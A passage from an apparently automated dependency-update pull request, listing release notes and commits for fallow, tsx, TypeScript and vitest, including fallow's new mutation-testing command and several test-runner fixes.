\u003ccode\u003etestDir\u003c/code\u003e an entry point. Now only the matched files are entry points.\u003c/li\u003e\n\u003cli\u003eVitest: before, a \u003ccode\u003etest.include\u003c/code\u003e glob with any group made no file an entry point. So fallow reported every test file as unused. A plain \u003ccode\u003e(a|b)\u003c/code\u003e group still matches one alternative.\u003c/li\u003e\n\u003cli\u003eVitest, Rstest and Jasmine: \u003ccode\u003e!(..)\u003c/code\u003e and \u003ccode\u003e*(..)\u003c/code\u003e now match.\u003c/li\u003e\n\u003cli\u003eA \u003ccode\u003e+(..)\u003c/code\u003e group in an include glob now matches one or more repetitions. Before, Vitest, Rstest and Jasmine matched the group once only. The rewrite can also make a few more files entry points, for example \u003ccode\u003ea.test.jsx\u003c/code\u003e and \u003ccode\u003ea.test.tsx\u003c/code\u003e for \u003ccode\u003e*.test.+(ts|js)\u003c/code\u003e. An exclude glob still matches the group once only.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eComplexity findings name more callback bodies.\u003c/strong\u003e A function that got \u003ccode\u003e\u0026lt;anonymous\u0026gt;\u003c/code\u003e or \u003ccode\u003e\u0026lt;arrow\u0026gt;\u003c/code\u003e now takes a name from the code around it. \u003ccode\u003eEffect.fn(\u0026quot;Users.create\u0026quot;)(function* ...)\u003c/code\u003e gives \u003ccode\u003eUsers.create\u003c/code\u003e, and \u003ccode\u003eit(\u0026quot;renders\u0026quot;, () =\u0026gt; ...)\u003c/code\u003e gives \u003ccode\u003eit(\u0026quot;renders\u0026quot;)\u003c/code\u003e. A generator that a named function returns gives that name, for example \u003ccode\u003eload\u003c/code\u003e for \u003ccode\u003econst load = () =\u0026gt; Effect.gen(function* ...)\u003c/code\u003e. Scores and existing names do not change. A renamed finding gets a new CodeClimate fingerprint one time. An identity baseline gives the allowance of an \u003ccode\u003e\u0026lt;anonymous\u0026gt;\u003c/code\u003e or \u003ccode\u003e\u0026lt;arrow\u0026gt;\u003c/code\u003e bucket to the new names in the same file. A file move no longer moves an \u003ccode\u003e\u0026lt;arrow\u0026gt;\u003c/code\u003e bucket.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eRuns are faster in five places.\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePlugin detection no longer walks \u003ccode\u003enode_modules\u003c/code\u003e for a Vitest, Jest or Rstest project glob. Since 3.33.1, a \u003ccode\u003etest.projects\u003c/code\u003e glob such as \u003ccode\u003eapps/**/vitest.config.ts\u003c/code\u003e read the full dependency store of a pnpm monorepo once per workspace. Plugin detection then took minutes. The walk now skips \u003ccode\u003enode_modules\u003c/code\u003e, \u003ccode\u003e.git\u003c/code\u003e, gitignored paths and symlinks that point out of the project root. Thanks \u003ca href=\"https://github.com/wouterkroes\"\u003e\u003ccode\u003e@​wouterkroes\u003c/code\u003e\u003c/a\u003e for the report (closes \u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3532\"\u003e#3532\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImport resolution is fast again in monorepos whose packages extend a root tsconfig that references them. Since 3.20.0, each source file checked about 760 configs in place of about 30. On a monorepo with 28 references and 4,200 modules, \u003ccode\u003eresolve imports\u003c/code\u003e takes 0.5 s in place of 10.1 s, with the same findings. Thanks \u003ca href=\"https://github.com/thymikee\"\u003e\u003ccode\u003e@​thymikee\u003c/code\u003e\u003c/a\u003e for the report and for the patch in \u003ca href=\"https://redirect.github.com/fallow-rs/fallow/pull/3504\"\u003e#3504\u003c/a\u003e (closes \u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3503\"\u003e#3503\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eA run with a restored CI cache no longer rewrites every cache entry. An entry whose content did not change gets only its new timestamps. On a large monorepo, such a run is about a fifth faster. The dead-code run also frees its parsed modules on a helper thread.\u003c/li\u003e\n\u003cli\u003eAn import through a barrel that does \u003ccode\u003eexport *\u003c/code\u003e of many packages is now checked only against the packages that export its name. Findings do not change.\u003c/li\u003e\n\u003cli\u003eEach glob compile is about three times cheaper. A dead-code run takes about 5 to 7 percent fewer instructions on a mid-size project, and the binary is smaller.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eThe build uses one oxc version.\u003c/strong\u003e \u003ccode\u003eoxc_coverage_instrument\u003c/code\u003e moves to 0.14, which uses oxc 0.152 like the rest of fallow. \u003ccode\u003ecargo deny\u003c/code\u003e now fails when two versions of the core oxc crates enter the dependency graph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eThe MCP \u003ccode\u003eaudit\u003c/code\u003e tool has a \u003ccode\u003efallow://tools/audit\u003c/code\u003e guide.\u003c/strong\u003e The guide names the five diff-risk rules and holds the styling, coverage, baseline, grouping, runtime-coverage and \u003ccode\u003eFALLOW_DIFF_FILE\u003c/code\u003e detail. The tool description is now a short summary that points to the guide (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3369\"\u003e#3369\u003c/a\u003e).\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eThe guidance for workspace dependency declarations is clearer.\u003c/strong\u003e Root imports of npm workspace packages need a dependency declaration, although npm links resolve them. The guidance covers private and tooling ancestor exceptions, self-references and explicit opt-outs. The policy does not change. Thanks \u003ca href=\"https://github.com/VariableVince\"\u003e\u003ccode\u003e@​VariableVince\u003c/code\u003e\u003c/a\u003e for the question (closes \u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3325\"\u003e#3325\u003c/a\u003e).\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efallow mutation\u003c/code\u003e measures how well the tests detect code changes.\u003c/strong\u003e The command makes small changes (mutants) in the changed code and runs the project tests against each one. A mutant that no test fails on survives. The report gives the mutation score over the tested mutants and the survivors by file with their covering tests. It also gives the share of mutants that a test reaches.\n\u003cul\u003e\n\u003cli\u003eThe default scope is the changed code against the base ref, as for \u003ccode\u003eaudit\u003c/code\u003e. \u003ccode\u003e--all\u003c/code\u003e and file paths widen or narrow it.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e--plan\u003c/code\u003e selects and ranks the mutants and runs no code. \u003ccode\u003efallow mutation inspect \u0026lt;mutant_id\u0026gt;\u003c/code\u003e shows one mutant against the current file. It reads the report of the last run, or the file that \u003ccode\u003e--report\u003c/code\u003e names. A changed file gives a \u003ccode\u003estale\u003c/code\u003e status.\u003c/li\u003e\n\u003cli\u003eThe runner is Vitest (\u003ccode\u003e\u0026gt;=4.1.0 \u0026lt;6.0.0\u003c/code\u003e), \u003ccode\u003enode:test\u003c/code\u003e of Node.js 22.18 or later, or \u003ccode\u003ebun test\u003c/code\u003e (\u003ccode\u003e\u0026gt;=1.4.0 \u0026lt;2.0.0\u003c/code\u003e). The default \u003ccode\u003emutation.runner: auto\u003c/code\u003e detects it. An unsupported version exits with code 2 and \u003ccode\u003eFALLOW_MUTATION_RUNNER_UNSUPPORTED\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3407\"\u003e#3407\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003enode:test\u003c/code\u003e runner takes the module loading flags of the \u003ccode\u003enode --test\u003c/code\u003e command in the project scripts, such as \u003ccode\u003e--experimental-transform-types\u003c/code\u003e and \u003ccode\u003e--import\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3487\"\u003e#3487\u003c/a\u003e). A \u003ccode\u003eborp\u003c/code\u003e script is a \u003ccode\u003enode:test\u003c/code\u003e run, and its globs give the test entry points (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3482\"\u003e#3482\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVue, Svelte and Astro components get mutants in their script blocks. Code that the framework compiler moves out of its block gives no mutant, for example the arguments of \u003ccode\u003edefineProps\u003c/code\u003e. An expression that holds a Svelte rune call gets no mutant, but the arguments of a rune still get mutants. With \u003ccode\u003enode:test\u003c/code\u003e and \u003ccode\u003ebun test\u003c/code\u003e, the plan leaves component files out with the skip reason \u003ccode\u003erunner-cannot-load\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3470\"\u003e#3470\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/6605f96806787f85124bfc144124ff7e44733b06\"\u003e\u003ccode\u003e6605f96\u003c/code\u003e\u003c/a\u003e chore: release v3.34.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/d21bf4721bc6d44ca8997c12c9e91a6b1c38f4ac\"\u003e\u003ccode\u003ed21bf47\u003c/code\u003e\u003c/a\u003e fix(workspace): skip workspace globs that can leave the project root (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3574\"\u003e#3574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/18d548e7f1845caf1b31d090112b44391ed25122\"\u003e\u003ccode\u003e18d548e\u003c/code\u003e\u003c/a\u003e chore: resolve the first CodeQL alerts (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3573\"\u003e#3573\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/86582fc167d645e2200b317c7885a867e7397936\"\u003e\u003ccode\u003e86582fc\u003c/code\u003e\u003c/a\u003e chore: tighten the release process after v3.34.0 (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3572\"\u003e#3572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/4c3565ea4cb0b2569d954339b57cd82013ec6ae0\"\u003e\u003ccode\u003e4c3565e\u003c/code\u003e\u003c/a\u003e chore: add CodeQL and resolve dependency advisories (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3571\"\u003e#3571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/cdb8d8b2c068c220833db8e1e219bcb93f7ca560\"\u003e\u003ccode\u003ecdb8d8b\u003c/code\u003e\u003c/a\u003e fix(type-aware): carry project-wide evidence in type-coupling reports (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3570\"\u003e#3570\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/4426826573ac36d422e124877060b550a931ca53\"\u003e\u003ccode\u003e4426826\u003c/code\u003e\u003c/a\u003e fix(extract): keep Vue template references when a nested template has a \u0026lt; (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3\"\u003e#3\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/38697f84f66c68df239cbf125a48bb1a4826820e\"\u003e\u003ccode\u003e38697f8\u003c/code\u003e\u003c/a\u003e fix(health): accept a coverage map with a negative hit count (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3568\"\u003e#3568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/5ada5d28ef896ffc43499b7375a1d1ee65448652\"\u003e\u003ccode\u003e5ada5d2\u003c/code\u003e\u003c/a\u003e fix(oxlint): read .oxlintrc.jsonc and oxlint.config.mts (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3567\"\u003e#3567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fallow-rs/fallow/commit/a25c3c811005ee8166f7c01508e03354e3adb305\"\u003e\u003ccode\u003ea25c3c8\u003c/code\u003e\u003c/a\u003e feat(scripts): rebase a stacked branch with ship-rebase --upstream (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3559\"\u003e#3559\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fallow-rs/fallow/compare/v3.27.0...v3.34.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tsx` from 4.23.1 to 4.23.15\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/privatenumber/tsx/releases\"\u003etsx's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.23.15\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.14...v4.23.15\"\u003e4.23.15\u003c/a\u003e (2026-09-20)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eexclude bare builtins from namespace inheritance (\u003ca href=\"https://github.com/privatenumber/tsx/commit/38e158857e50bca311be7c232a5057e5a2e5347a\"\u003e38e1588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eexpose require.cache and require.extensions to tsImport CommonJS modules (\u003ca href=\"https://github.com/privatenumber/tsx/commit/2da34075afaed43e2b7fd0aca5fbebaaf337ff3a\"\u003e2da3407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emake namespaced register() overloads portable for declaration emit (\u003ca href=\"https://github.com/privatenumber/tsx/commit/562c434a5c8695e74327bbeb51cfeb9b86fc7e15\"\u003e562c434\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.15\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.23.14\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.13...v4.23.14\"\u003e4.23.14\u003c/a\u003e (2026-09-20)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003erestore the CJS bridge namespace for Node 24 require(esm) under tsImport() (\u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/802\"\u003e#802\u003c/a\u003e) (\u003ca href=\"https://github.com/privatenumber/tsx/commit/6e5236b065738d3687a06396d064774cfede390f\"\u003e6e5236b\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.14\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.23.13\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.12...v4.23.13\"\u003e4.23.13\u003c/a\u003e (2026-08-30)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecache:\u003c/strong\u003e bound shared transform cache memory (\u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/835\"\u003e#835\u003c/a\u003e) (\u003ca href=\"https://github.com/privatenumber/tsx/commit/28e1f12d04cd2afe1db17f8555b14fe5fb567c6e\"\u003e28e1f12\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.13\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.23.12\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.11...v4.23.12\"\u003e4.23.12\u003c/a\u003e (2026-08-10)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eshim \u003ccode\u003eimport.meta\u003c/code\u003e when tokens are split by comments or newlines (\u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/829\"\u003e#829\u003c/a\u003e) (\u003ca href=\"https://github.com/privatenumber/tsx/commit/ed9d33046a135de13a35fdfce12368b79d1b1518\"\u003eed9d330\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/828\"\u003e#828\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.12\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/ca66105a17a2a4c6503fe3a12b5b9ec408286011\"\u003e\u003ccode\u003eca66105\u003c/code\u003e\u003c/a\u003e test: fix drive-less file URLs in ESM resolver fixtures\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/2da34075afaed43e2b7fd0aca5fbebaaf337ff3a\"\u003e\u003ccode\u003e2da3407\u003c/code\u003e\u003c/a\u003e fix: expose require.cache and require.extensions to tsImport CommonJS modules\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/38e158857e50bca311be7c232a5057e5a2e5347a\"\u003e\u003ccode\u003e38e1588\u003c/code\u003e\u003c/a\u003e fix: exclude bare builtins from namespace inheritance\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/562c434a5c8695e74327bbeb51cfeb9b86fc7e15\"\u003e\u003ccode\u003e562c434\u003c/code\u003e\u003c/a\u003e fix: make namespaced register() overloads portable for declaration emit\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/edfb1f05a3f40b879a41a03a0801c2abd3a3ecf9\"\u003e\u003ccode\u003eedfb1f0\u003c/code\u003e\u003c/a\u003e build: upgrade pkgroll and externalize CJS loader reference\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/70e78284837c859f09b96cd10cd71d007aa4b795\"\u003e\u003ccode\u003e70e7828\u003c/code\u003e\u003c/a\u003e test: upgrade tinyspy for disposable API\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/9ed2022dfa9ea1be9511fe6abcde8110c25055a7\"\u003e\u003ccode\u003e9ed2022\u003c/code\u003e\u003c/a\u003e ci: avoid duplicate release notifications\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/872e77ffc5e96ca5c4727e74c0694debcb26219b\"\u003e\u003ccode\u003e872e77f\u003c/code\u003e\u003c/a\u003e refactor: use disposables for cleanup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/6e5236b065738d3687a06396d064774cfede390f\"\u003e\u003ccode\u003e6e5236b\u003c/code\u003e\u003c/a\u003e fix: restore the CJS bridge namespace for Node 24 require(esm) under tsImport...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/28e1f12d04cd2afe1db17f8555b14fe5fb567c6e\"\u003e\u003ccode\u003e28e1f12\u003c/code\u003e\u003c/a\u003e fix(cache): bound shared transform cache memory (\u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/835\"\u003e#835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.1...v4.23.15\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript` from 6.0.3 to 7.0.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/TypeScript/releases\"\u003etypescript's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTypeScript 7.0.2\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://devblogs.microsoft.com/typescript/announcing-typescript-7-0/\"\u003ehttps://devblogs.microsoft.com/typescript/announcing-typescript-7-0/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis tag was originally released at: \u003ca href=\"https://github.com/microsoft/typescript-go/releases/tag/typescript%2Fv7.0.2\"\u003ehttps://github.com/microsoft/typescript-go/releases/tag/typescript%2Fv7.0.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/1e4744d68260a7cb91b62b12edc3f6a2187faaf1\"\u003e\u003ccode\u003e1e4744d\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into ts7-release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/a5a219c3b5da0db4fa0ecf6c0b1f588c9af9c669\"\u003e\u003ccode\u003ea5a219c\u003c/code\u003e\u003c/a\u003e\u003ccode\u003emicrosoft/typescript-go#4558\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/ecfe30dce91368d52c9a49b6095bb0b673a238f8\"\u003e\u003ccode\u003eecfe30d\u003c/code\u003e\u003c/a\u003e Update status localization\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/5de25b5f8fec2ca35eadaed041f1f06d2e214895\"\u003e\u003ccode\u003e5de25b5\u003c/code\u003e\u003c/a\u003e Hide executable name in TypeScript status\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/d7ce74a75da2b80e8201506a1599c06549432b93\"\u003e\u003ccode\u003ed7ce74a\u003c/code\u003e\u003c/a\u003e Show bundled TypeScript version for packaged servers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/29be66a607707f90d7a53103a4469bb3015a4d54\"\u003e\u003ccode\u003e29be66a\u003c/code\u003e\u003c/a\u003e Correct TS 7 release version to 7.0.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/ed2bd1bfa4aac5211ce4bc58fcd1313c7eddc8ff\"\u003e\u003ccode\u003eed2bd1b\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into ts7-release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/887307575c58ea640dbeba3b4e8fdb6347cd3044\"\u003e\u003ccode\u003e8873075\u003c/code\u003e\u003c/a\u003e Bump the github-actions group across 1 directory with 3 updates (microsoft/ty...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/9427131ae2d4e230a90ee8a09daac4e75da3e311\"\u003e\u003ccode\u003e9427131\u003c/code\u003e\u003c/a\u003e Set up stable / nightly extension split, other prep (microsoft/typescript-go#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/TypeScript/commit/d4eaca5460a1f5f02a829e62706794b0a6fb903e\"\u003e\u003ccode\u003ed4eaca5\u003c/code\u003e\u003c/a\u003e\u003ccode\u003emicrosoft/typescript-go#4549\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/TypeScript/compare/v6.0.3...v7.0.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~microsoft1es\"\u003emicrosoft1es\u003c/a\u003e, a new releaser for typescript since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.12 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca 